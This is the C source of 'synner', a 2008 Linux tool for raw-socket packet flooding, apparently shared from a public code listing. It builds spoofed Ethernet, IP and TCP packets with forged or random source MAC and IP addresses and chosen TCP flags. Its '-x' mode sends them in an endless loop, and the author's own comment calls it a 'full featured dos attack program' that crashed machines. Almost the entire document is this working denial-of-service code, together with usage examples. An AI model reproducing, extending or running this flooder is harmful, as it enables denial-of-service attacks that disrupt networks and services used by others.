| 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. 54. 55. 56. 57. 58. 59. 60. 61. 62. 63. 64. 65. 66. 67. 68. 69. 70. 71. 72. 73. 74. 75. 76. 77. 78. 79. 80. 81. 82. 83. 84. 85. 86. 87. 88. 89. 90. 91. 92. 93. 94. 95. 96. 97. 98. 99. 100. 101. 102. 103. 104. 105. 106. 107. 108. 109. 110. 111. 112. 113. 114. 115. 116. 117. 118. 119. 120. 121. 122. 123. 124. 125. 126. 127. 128. 129. 130. 131. 132. 133. 134. 135. 136. 137. 138. 139. 140. 141. 142. 143. 144. 145. 146. 147. 148. 149. 150. 151. 152. 153. 154. 155. 156. 157. 158. 159. 160. 161. 162. 163. 164. 165. 166. 167. 168. 169. 170. 171. 172. 173. 174. 175. 176. 177. 178. 179. 180. 181. 182. 183. 184. 185. 186. 187. 188. 189. 190. 191. 192. 193. 194. 195. 196. 197. 198. 199. 200. 201. 202. 203. 204. 205. 206. 207. 208. 209. 210. 211. 212. 213. 214. 215. 216. 217. 218. 219. 220. 221. 222. 223. 224. 225. 226. 227. 228. 229. 230. 231. 232. 233. 234. 235. 236. 237. 238. 239. 240. 241. 242. 243. 244. 245. 246. 247. 248. 249. 250. 251. 252. 253. 254. 255. 256. 257. 258. 259. 260. 261. 262. 263. 264. 265. 266. 267. 268. 269. 270. 271. 272. 273. 274. 275. 276. 277. 278. 279. 280. 281. 282. 283. 284. 285. 286. 287. 288. 289. 290. 291. 292. 293. 294. 295. 296. 297. 298. 299. 300. 301. 302. 303. 304. 305. 306. 307. 308. 309. 310. 311. 312. 313. 314. 315. 316. 317. 318. 319. 320. 321. 322. 323. 324. 325. 326. 327. 328. 329. 330. 331. 332. 333. 334. 335. 336. 337. 338. 339. 340. 341. 342. 343. 344. 345. 346. 347. 348. 349. 350. 351. 352. 353. 354. 355. 356. 357. 358. 359. 360. 361. 362. 363. 364. 365. 366. 367. 368. 369. 370. 371. 372. 373. 374. 375. 376. 377. 378. 379. 380. 381. 382. 383. 384. 385. 386. 387. 388. 389. 390. 391. 392. 393. 394. 395. 396. 397. 398. 399. 400. 401. 402. 403. 404. 405. 406. 407. | /*
sm4x - 2008
"synner.c" linux/x86
- part of my personal toolchain - released public ;)
- synner is able to send mass amounts of spoofed (mac/ip) eth->ip->tcp packets with user defined:
- source ips, tcp flags, window sizes, payload sizes, sequences ids, ack ids
- developed as a quick internal firewall/IDS testing prog but soon mutated into a full featured dos attack program.as during
testing I found it to literally destroy some of my fbsd/linux/openSol/win2k8 boxes at work
- many bugs are present so feel free to fix and/or comment...
v1.1 enjoy ;)
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/in.h>
//#include <netinet/tcp.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <linux/if_packet.h>
#include <time.h>
#include <unistd.h>
#include <signal.h>
/* tcp hdr */
struct tcphdr {
unsigned short source;
unsigned short dest;
unsigned long seq;
unsigned long ack_seq;
unsigned char len;
# if __BYTE_ORDER == __LITTLE_ENDIAN
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
# elif __BYTE_ORDER == __BIG_ENDIAN
u_int16_t res2:2;
u_int16_t urg:1;
u_int16_t ack:1;
u_int16_t psh:1;
u_int16_t rst:1;
u_int16_t syn:1;
u_int16_t fin:1;
# else
# error "Adjust your <bits/endian.h> defines"
# endif
unsigned short window;
unsigned short check;
unsigned short urg_ptr;
};
unsigned short calc_checksum(unsigned char *, int );
int count = 0;
/***********************************************************
* signalHandler
***********************************************************/
void signalHandler(int signal) {
time_t raw_t;
struct tm *timeinfo; char date[64];
time(&raw_t); timeinfo = localtime(&raw_t);
memset(date, 0x0, 64); strftime(date, 63, "%c", timeinfo);
printf("\n[+] PUNT!\n");
printf("[+] [%s] Sent %d packets.\n", date, count);
cleanup:
exit(0);
}
/**********************************************************
* usage
***********************************************************/
void usage() {
printf("[+] Usage:\n");
printf("[+] ./synner -i<iface> -s<IP> -S<MAC> -d<IP> -D<MAC> <options>\n");
printf("[+] -i\tinterface name\n");
printf("[+] -x\twhile(1) !! dos attack mode\n");
printf("[+] \t\t-amount of packets (ie: -x10000, -x0 for infinite)\n");
printf("[+] -s\tsource ip (spoofed)\n");
printf("[+] \t\t-(r)andom source ip\n");
printf("[+] -S\tsource MAC (spoofed)\n");
printf("[+] -d\tdest ip\n");
printf("[+] -D\tdest MAC\n");
printf("[+] -u\tsource port\n");
printf("[+] -p\tdest port\n");
printf("[+] -l\tpayload length (packet size filled with \\x00)\n");
printf("[+] -w\twindow size (<=65535)\n");
printf("[+] -f\tflags (s,a:p:u,r:f)\n");
printf("[+] \t\t-(s)yn, (a)ck, (p)push, (u)rgent, (r)eset, (f)in, (x)=ALL\n");
printf("[+] eg:\n");
printf("[+] ./synner -ieth0 -x -s192.168.1.1 -S00:AA:BB:CC:00:00 -d192.168.1.219 -D00:dd:ee:aa:dd:bb -p 6984 -l 512 -u5555 -fas\n");
printf("[+] ./synner -ieth0 -sr -S00:dd:ee:aa:dd:ff -d192.168.1.219 -D00:dd:ee:aa:dd:bb -p80 -u500 -fx\n\n");
exit(0);
}
/**********************************************************
* main
***********************************************************/
int main(int argc, char **argv) {
int bytes_sent = 0; int err = 0; int sock = 0; int ok_count = 0; int iface_num = 0; int packet_count = 0;
int dst_port = 666; int src_port = 2048; int is_verbose = 0; int payload_len = 32;
int window_len = 1024; int dos_mode = 0; int use_random_source_ip = 0; int use_random_source_mac = 0;
int flag_syn = 0; int flag_ack = 0; int flag_push = 0; int flag_urg = 0; int flag_rst = 0; int flag_fin = 0;
time_t raw_t;
struct tm *timeinfo;
struct sockaddr_ll sa;
struct ether_header eth_hdr;
struct iphdr ip_hdr;
struct tcphdr tcp_hdr;
char date[64]; char random_ips[1000*16];
char *iface = NULL; char *flgs = NULL;
char *src_ip = NULL; char *dest_ip = NULL;
char *src_mac = NULL; char *dest_mac = NULL;
if(getuid()) { printf("[-] Sorry d00d - gotta be r00t.\n"); return -1; }
printf("[+] synner by sm4x -> b0h!i!i\n");
if(signal(SIGINT, signalHandler) == SIG_IGN) {
printf("[+] Signal handlers are attached..\n");
signal (SIGINT, SIG_IGN);
}
// little big gross but it was written really REALLY fast ;)
opterr = 0; int option = 1;
while((option = getopt(argc, argv, "vi:x:s:S:d:D:u:p:l:w:f:?")) != -1 ) {
switch(option) {
case 'i':
iface = optarg;
printf("[+] Using: %s ", iface);
if(if_nametoindex(iface) == 0) { printf(" => INTERFACE NO GOOD!!\n"); exit(1); }
printf("OK.\n"); ok_count++;
break;
case 'x':
dos_mode = 1;
char *c = optarg;
if(c != NULL && atoi(c) > 0) {
packet_count = atoi(c);
printf("[+] Warning - DOS mode active (%d packets)!\n", packet_count);
} else {
printf("[+] Warning - DOS mode active!\n");
}
break;
case 's':
src_ip = optarg;
//printf("OPTARG: %s\n", src_ip);
if(src_ip[0] == 'r') {
printf("[+] Using random source IP(s)\n");
use_random_source_ip = 1;
} else {
printf("[+] Source IP: %s\n", src_ip);
} ok_count++;
break;
case 'S':
src_mac = optarg;
if(src_mac[0] == 'r') {
printf("[+] Using random source MAC(s)\n");
use_random_source_mac = 1;
} else {
printf("[+] Source MAC: %s\n", src_mac);
} ok_count++;
break;
case 'd':
dest_ip = optarg; ok_count++;
printf("[+] Dest IP: %s\n", dest_ip);
break;
case 'D':
dest_mac = optarg; ok_count++;
printf("[+] Dest MAC: %s\n", dest_mac);
break;
case 'p':
dst_port = atoi(optarg);
printf("[+] Dest port: %d\n", dst_port);
break;
case 'u':
src_port = atoi(optarg);
printf("[+] Source port: %d\n", src_port);
break;
case 'l':
payload_len = atoi(optarg);
printf("[+] Payload length: %d octets\n", payload_len);
break;
case 'w':
window_len = atoi(optarg);
if(window_len > 65535) { window_len = 65535; }
printf("[+] TCP Window length: %d octets\n", window_len);
break;
case 'f':
flgs = &optarg[0];
if(flgs != NULL) {
printf("[+] FLAGS: ");
while(*flgs) {
switch(*flgs) {
case 'x':
flag_syn = 1; flag_ack = 1; flag_push = 1; flag_urg = 1; flag_rst = 1; flag_fin = 1;
printf(" SYN|ACK|PSH|URG|RST|FIN");
flgs++; break;
case 's':
flag_syn = 1; printf("|SYN");
flgs++; break;
case 'a':
flag_ack = 1; printf("|ACK");
flgs++; break;
case 'p':
flag_push = 1; printf("|PSH");
flgs++; break;
case 'u':
flag_urg = 1; printf("|URG");
flgs++; break;
case 'f':
flag_fin = 1; printf("|FIN");
flgs++; break;
case 'r':
flag_rst = 1; printf("|RST");
flgs++; break;
}
} printf("\n");
} else {
printf("[+] Default: SYN/ACK flags are set!\n");
flag_syn = 1; flag_ack = 1;
}
break;
case 'v':
is_verbose = 1;
printf("[+] Vebosity is ON\n");
break;
}
}
if(ok_count < 5 || src_ip == NULL || dest_ip == NULL || src_mac == NULL || dest_mac == NULL) {
printf("[-] Invalid options supplied!\n");
usage();
}
/* define (new ??) packet */
char packet[sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct tcphdr ) + payload_len];
iface_num = if_nametoindex(iface);
if(iface_num == 0) { printf("[-] IFACE %s IS REPORTED DOWN -> trying anyway.!\n", iface); }
/* as raw as we can get */
sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sock < 0) { printf("[-] Unable to open a socket!?\n"); goto cleanup; }
// b/c we want high speed sendto() we need to build this before the while(1)
if(use_random_source_ip) {
memset(random_ips, 0x0, (1000*16));
int seed = time(NULL); int i = 0;
printf("[+] Generating random source IP(s)\n");
if(dos_mode) {
for(i = 0; i < 1000; i++ ) {
srand(seed+i);
int num1 = 0, num2 = 0, num3 = 0, num4 = 0;
num1 = rand()%254; num2 = rand()%254; num3 = rand()%254; num4 = rand()%254;
sprintf(random_ips+(i*16), "%d.%d.%d.%d\0", num1, num2, num3, num4);
//printf("RANDOMIP: %s\n", random_ips+(i*16));
}
} else {
int num1 = 0, num2 = 0, num3 = 0, num4 = 0;
srand(seed); num1 = rand()%254; num2 = rand()%254; num3 = rand()%254; num4 = rand()%254;
sprintf(random_ips, "%d.%d.%d.%d\0", num1, num2, num3, num4);
printf("[+] Random source IP: %s\n", random_ips);
} src_ip = random_ips;
}
if(is_verbose ==1 ) { printf("[+] Buliding payload...\n"); }
int len = sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct tcphdr) + payload_len;
memset(&packet, 0x0, len);
/* raw communication */
sa.sll_family = AF_PACKET;
sa.sll_protocol = htons(ETH_P_IP);
sa.sll_ifindex = iface_num;
sa.sll_hatype = 0x0000;
sa.sll_pkttype = 0x01;
sa.sll_halen = ETH_ALEN;
memset(ð_hdr, 0x0, sizeof(struct ether_header));
/* ethernet frame setup*/
eth_hdr.ether_type = htons(ETHERTYPE_IP);
/* copy our source and dest hosts */
if((void *)ether_aton(dest_mac) == NULL) { printf("[-] Invalid dest mac address!\n"); goto cleanup; }
if(!use_random_source_mac && (void *)ether_aton(src_mac) == NULL) { printf("[-] Invalid source mac address!\n"); goto cleanup; }
memcpy(ð_hdr.ether_dhost, (void *)ether_aton(dest_mac), 6);
memcpy(ð_hdr.ether_shost, (void *)ether_aton(src_mac), 6);
memset(&ip_hdr, 0x0, sizeof(struct iphdr));
memset(&tcp_hdr, 0x0, sizeof(struct tcphdr));
/* ip frame setup */
ip_hdr.ihl = 0x05;
ip_hdr.version = 0x04;
ip_hdr.id = 0x00;
ip_hdr.tot_len = htons(len);
ip_hdr.frag_off = 0x00;
ip_hdr.ttl = 0x40;
ip_hdr.protocol = 0x06;
// inet_addr broadcast returns -1 so we guard
if(use_random_source_ip == 0 && strstr(src_ip, "255.255.255.255") == NULL) {
if(inet_addr(src_ip) == -1) { printf("[-] Invalid source ip!\n"); goto cleanup; }
}
if(inet_addr(dest_ip) == -1) { printf("[-] Invalid dest ip!\n"); goto cleanup; }
ip_hdr.saddr = inet_addr(src_ip);
ip_hdr.daddr = inet_addr(dest_ip);
ip_hdr.check = (unsigned short)calc_checksum((void *)&ip_hdr, sizeof(struct iphdr));
tcp_hdr.source = htons(src_port);
tcp_hdr.dest = htons(dst_port);
/* SEQ and ACK */
tcp_hdr.seq = htonl(rand()%65535);
tcp_hdr.ack_seq = htonl(rand()%65535);
/* syn and ack flags set */
tcp_hdr.syn = flag_syn; tcp_hdr.ack = flag_ack; tcp_hdr.fin = flag_fin;
tcp_hdr.rst = flag_rst; tcp_hdr.psh = flag_push; tcp_hdr.urg = flag_urg;
//tcp_hdr.len = htons(0x80);
tcp_hdr.len = 0x80;
tcp_hdr.window = htons(window_len);
/* incorrect checksum (assumes offload)-> (make sure add pseudo header etc...) */
tcp_hdr.check = 0x00;
memcpy(packet, ð_hdr, sizeof(struct ether_header));
memcpy(packet+sizeof(struct ether_header), &ip_hdr, sizeof(struct iphdr));
memcpy(packet+sizeof(struct ether_header)+sizeof(struct iphdr), &tcp_hdr, sizeof(struct tcphdr));
if(is_verbose == 1) { printf("[+] Configuration ok!\n"); }
time(&raw_t); timeinfo = localtime(&raw_t);
memset(date, 0x0, 64);
strftime(date, 63, "%c", timeinfo);
printf("[+] [%s] Beginning send(s) now (h0ld it y00z)...\n", date);
int eth_len = sizeof(struct ether_header);
/*send the packet(s) */
count = 0; int i = 0;
if(dos_mode) {
int seed = time(NULL);
while(1) {
/* this is really messy - ugh */
if(use_random_source_ip) {
if(i > 1000) { i = 0; }
//printf("%d) IP: %s\n", i, random_ips+(i*16));
tcp_hdr.seq = i<<4; tcp_hdr.ack_seq = i<<4; // random junk for seq/ack
ip_hdr.saddr = inet_addr(random_ips+(i*16));
ip_hdr.check = (unsigned short)calc_checksum((void *)&ip_hdr, sizeof(struct iphdr));
// should set he packet via packet offset directly
memcpy(packet+eth_len, &ip_hdr, sizeof(struct iphdr)); i++;
}
bytes_sent = sendto(sock, packet, len, 0, (struct sockaddr*) &sa, sizeof(sa)); count++;
if (bytes_sent < 0) { if(is_verbose) { printf("[-] (%d) Unable to send syn packet!\n", count); } usleep(100); }
if(packet_count != 0 && count >= packet_count) { goto cleanup; }
}
} else {
bytes_sent = sendto(sock, packet, len, 0, (struct sockaddr*) &sa, sizeof(sa));
if (bytes_sent < 0) { if(is_verbose) { printf("[-] (%d) Unable to send syn packet!\n", count); } goto cleanup; }
printf("[+] Sent: %d bytes\n", bytes_sent); count++;
}
/* cleanup */
cleanup:
time(&raw_t); timeinfo = localtime(&raw_t);
memset(date, 0x0, 64);
strftime(date, 63, "%c", timeinfo);
printf("[+] [%s] Done: %d packets sent.\n", date, count);
close(sock);
return 0;
}
/**********************************************************
* checksum
**********************************************************/
unsigned short calc_checksum(unsigned char* data, int len) {
int i = 0; unsigned long sum = 0;
/* (going by 16bits) not the len of data (8 bit count from sizeof()) */
if((len & 1) == 0) { len = len >> 1; } else { len = (len >> 1) + 1; }
/* chop through the data 16bits and add to the 32 bit accumulator */
for(i = 0; i < len; i++) {
sum += *((unsigned short *)data); data += 2;
}
/* add the carries */
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (~sum);
}
// done
|